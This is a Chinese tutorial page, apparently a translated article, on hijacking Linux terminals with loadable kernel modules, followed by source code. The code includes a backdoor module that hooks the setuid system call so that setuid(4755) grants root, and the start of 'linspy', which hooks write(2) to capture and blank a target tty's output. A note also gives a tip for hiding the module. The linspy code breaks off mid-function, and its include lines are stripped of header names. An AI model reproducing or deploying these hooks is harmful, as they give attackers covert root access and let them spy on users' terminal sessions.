歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
您现在的位置: Linux教程網 >> UnixLinux >  >> Linux綜合 >> Linux內核

利用linux內核模塊實現TTY hijacking

  簡介 ------------   加載模塊是Linux中非常有用而又很重要的一項技術, 因為它可以使你在你需要的時候加載設備的驅動程序。 然而, 也有它壞的一面: 它使內核hacking非常容易。 當你再也無法信任你的kernel的時候會發生些什麼呢...?這篇文章的目的就是以簡單的思路來介紹內核模塊的利用。 系統調用 ------------   系統調用,是一些可以被利用的底層函數, 他們在核心內部執行。在本文中, 它被利用來讓我們寫一個非常簡單的tty 截獲/監控。所有的代碼均在linux系統上面編寫並測試通過,並且不可以被編譯運行倒其他系統上。好!讓我們開始hacking kernel!    TTY 截獲, 就象tap和ttywatcher等程序是在Solaris,SunOS等其他帶STREAMS系統中很常見, 但是迄今為止在linux平台上就沒有這麼有用的tty hijacker(注: 我不考慮那種基於pty的代碼就象telnetsnoop程序那樣的截獲, 也不十分有用,因為你必須盡早准備監控系統用戶).   因為現在的linux系統普遍缺乏STREAMS (LinSTREAMS似乎就要消失了),所以我們必須選擇一個方法來監控流(stream)。屏蔽擊鍵的問題已經解決,因為我們可以利用TIOCSTI這個ioctl調用宏來阻塞擊鍵到標准輸入流。 一個解決方案, 當然, 就是改變write(2)系統調用到我們的代碼,代碼的作用是假如指向我們想要的tty就紀錄下來; 我們可以在後面調用 真實的write(2)系統調用。   很明顯, 一個設備驅動會很好地工作。我們可以通過讀這個設備來獲得已經被紀錄的數據,並且增加一個或兩個ioctl來告訴我們的代碼確定我們想紀錄的那個tty。 改變系統調用 ---------------------------   系統調用可以非常簡單的就可以被改變成我自己的代碼了。它的工作原理有點象dos系統裡的終端機制以及常駐代碼。我們把原來的地址保存到一個變量, 然後設一個新的指針指向我們的代碼。在我們的代碼裡, 我們可以做一切事情, 當我們結束之後再調用原來的代碼。 (譯者注:這裡是簡單介紹了lkm的原理,但太過於簡單了。)   一個非常簡單的例程就包含在hacked_setuid.c這個文件中, 是一個你可以安裝的可加載模塊,並且當它被加載到內核運行時, 一個setuid(4755)將會設置你的uid/euid/gid/egid為0。 (參看附錄裡面提供的全部代碼。)syscalls的地址信息都包含在sys_call_table這個數組裡。 這就使我們改變syscalls指向我們自己的代碼變的非常簡單了。當我們這樣做後,很多事情都變得很簡單了... Linspy的注意事項 --------------------   這個模塊是非常容易被發現的, 所有你所做的都會通過cat /proc/modules來顯示的很明 白。但這個問題很好解決,但我這裡沒有給出解決方法。(譯者注:其實隱藏模塊自身非常好實現,把register_symtab(NULL)插入到init_module()函數塊中即可限制符號輸出於/proc/ksyms。)   用linspy的時候, 你需要創建一個ltap的設備, 主設備號設為40,次設備號為0。好,在這之後, 運行make程序來insmod linspy這個設備。當它被加載後, 你可以這樣運行:ltread [tty],假如模塊運行的很好, 你可以發現已經把用戶屏幕屏蔽輸出了。 源代碼 [use the included extract.c utility to unarchive the code] ----------------------------------------------------------------- <++> linspy/Makefile CONFIG_KERNELD=-DCONFIG_KERNELD CFLAGS = -m486 -O6 -pipe -fomit-frame-pointer -Wall $(CONFIG_KERNELD) CC=gcc # this is the name of the device you have (or will) made with mknod DN = -DDEVICE_NAME="/dev/ltap" # 1.2.x need this to compile, comment out on 1.3+ kernels V = #-DNEED_VERSION MODCFLAGS := $(V) $(CFLAGS) -DMODULE -D__KERNEL__ -DLINUX all: linspy ltread setuid linspy: linspy.c /usr/include/linux/version.h   $(CC) $(MODCFLAGS) -c linspy.c ltread:    $(CC) $(DN) -o ltread ltread.c clean:    rm *.o ltread setuid: hacked_setuid.c /usr/include/linux/version.h   $(CC) $(MODCFLAGS) -c hacked_setuid.c


<--> end Makefile <++> linspy/hacked_setuid.c int errno; #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifdef NEED_VERSION static char kernel_version[] = UTS_RELEASE; #endif static inline _syscall1(int, setuid, uid_t, uid);/*用_syscall這個系統調用宏來構建setuid調用*/ extern void *sys_call_table[];/*調出系統調用表*/ void *original_setuid; /*原來的setuid*/ extern int hacked_setuid(uid_t uid)/*我們要替換的setuid*/ {   int i;             if(uid == 4755)   {     current->uid = current->euid = current->gid = current->egid = 0;    /*使當前進程的uid,euid,gid,egid為零*/     return 0;   }   sys_call_table[SYS_setuid] = original_setuid;/*保存原調用*/   i = setuid(uid);   sys_call_table[SYS_setuid] = hacked_setuid;/*替換調用!*/   if(i == -1) return -errno;   else return i; } int init_module(void)  /*加載*/ {   original_setuid = sys_call_table[SYS_setuid];   sys_call_table[SYS_setuid] = hacked_setuid;   return 0; } void cleanup_module(void)  /*卸載*/ {   sys_call_table[SYS_setuid] = original_setuid; }  <++> linspy/linspy.c int errno; #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifdef MODULE #include #include #endif #include #include #include #include #include #include #include #include #include /*設置版本信息,假如需要的話 */ #ifdef NEED_VERSION static char kernel_version[] = UTS_RELEASE; #endif #ifndef MIN #define MIN(a,b)    ((a) < (b) ? (a) : (b)) #endif /* 定義緩沖信息 */     #define BUFFERSZ    2048 char buffer[BUFFERSZ]; int queue_head = 0; int queue_tail = 0; /* taken_over 定義目標機是否可以看到任何輸出 */ int taken_over = 0; static inline _syscall3(int, write, int, fd, char *, buf, size_t, count);/*構建write調用*/

extern void *sys_call_table[]; /* linspy設備的設備信息 */ static int linspy_major = 40; int tty_minor = -1; int tty_major = 4; /* 保存原write調用地址 */ void *original_write; void save_write(char *, size_t); int out_queue(void) {   int c;   if(queue_head == queue_tail) return -1;   c = buffer[queue_head];   queue_head++;   if(queue_head == BUFFERSZ) queue_head=0;   return c; } int in_queue(int ch) {   if((queue_tail + 1) == queue_head) return 0;   buffer[queue_tail] = ch;   queue_tail++;   if(queue_tail == BUFFERSZ) queue_tail=0;   return 1; } /* 檢查tty是否是我們要尋找的 */ int is_fd_tty(int fd) {   strUCt file *f=NULL;   struct inode *inode=NULL;   int mymajor=0;   int myminor=0;   if(fd >= NR_OPEN !(f=current->files->fd[fd]) !(inode=f->f_inode))     return 0;   mymajor = major(inode->i_rdev);   myminor = minor(inode->i_rdev);   if(mymajor != tty_major) return 0;   if(myminor != tty_minor) return 0;   return 1; } /* 這是新的write調用 */ extern int new_write(int fd, char *buf, size_t count) {   i





Copyright © Linux教程網 All Rights Reserved